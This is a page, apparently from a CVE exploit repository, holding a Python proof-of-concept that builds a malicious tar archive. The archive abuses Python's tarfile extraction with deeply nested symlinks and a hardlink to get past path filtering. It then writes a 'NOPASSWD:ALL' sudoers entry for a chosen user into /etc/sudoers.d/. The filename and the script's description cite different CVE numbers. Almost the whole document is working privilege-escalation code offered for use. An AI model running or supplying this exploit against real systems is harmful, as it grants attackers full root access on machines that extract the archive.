4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE_2025_4517.py PY
import tarfile
import argparse
import os
import io
import sys

def main():
    parser = argparse.ArgumentParser(
        description="Exploit for CVE-2024-6232 - Python Tarfile Realpath Overflow"
    )
    parser.add_argument("username", help="The name of user that will be added to sudoers")
    parser.add_argument("filename", help="The name of the malicious tar file (e.g., backup.tar)")
    args = parser.parse_args()
    
    if not args.username.strip() or not args.filename.strip():
        print("Error: Both username and filename must be non-empty strings.")
        sys.exit(1)
        
    run_script(args.username, args.filename)

def run_script(username, filename):
    print(f"--- Generating Malicious Tar: {filename} ---")

    # long_dir_name + shortcut_steps combined will push the path length to the edge of PATH_MAX (4096)
    long_dir_name = 'd' * (55 if sys.platform == 'darwin' else 247)
    shortcut_steps = "abcdefghijklmnop"
    current_nesting_path = ""

    with tarfile.open(filename, mode="x") as tar:
        # Phase 1: Build the nested maze (The Invisibility Cloak)
        for step_char in shortcut_steps:
            # Create physical directory
            dir_entry = tarfile.TarInfo(os.path.join(current_nesting_path, long_dir_name))
            dir_entry.type = tarfile.DIRTYPE 
            tar.addfile(dir_entry)

            # Create the 'shortcut' symlink to that directory
            shortcut_link = tarfile.TarInfo(os.path.join(current_nesting_path, step_char))
            shortcut_link.type = tarfile.SYMTYPE 
            shortcut_link.linkname = long_dir_name
            tar.addfile(shortcut_link)
            
            # Move deeper into the path for the next iteration
            current_nesting_path = os.path.join(current_nesting_path, long_dir_name)

        # Phase 2: Create the trigger that breaks os.path.realpath()
        deep_path_trigger = os.path.join("/".join(shortcut_steps), "l"*254)
        u_turn_link = tarfile.TarInfo(deep_path_trigger)
        u_turn_link.type = tarfile.SYMTYPE
        u_turn_link.linkname = ("../" * len(shortcut_steps))
        tar.addfile(u_turn_link)

        # Phase 3: The Escape Link (Targets /etc/sudoers.d/)
        escape_to_root = tarfile.TarInfo("escape") 
        escape_to_root.type = tarfile.SYMTYPE
        # We use the trigger path + enough ../ to climb out to the root file system
        escape_to_root.linkname = deep_path_trigger + f"/../../../../../../etc/sudoers.d/{username}" 
        tar.addfile(escape_to_root)

        # Phase 4: Bypass filters using a hardlink to the escape symlink
        bypass_hardlink = tarfile.TarInfo("exploit_link")
        bypass_hardlink.type = tarfile.LNKTYPE
        bypass_hardlink.linkname = "escape"
        tar.addfile(bypass_hardlink)

        # Phase 5: The Payload Write
        payload_content = f"{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode('utf-8')
        write_operation = tarfile.TarInfo("exploit_link")
        write_operation.type = tarfile.REGTYPE
        write_operation.size = len(payload_content)
        tar.addfile(write_operation, fileobj=io.BytesIO(payload_content))

    print(f"--- Done! {filename} created successfully. ---")

if __name__ == "__main__":
    main()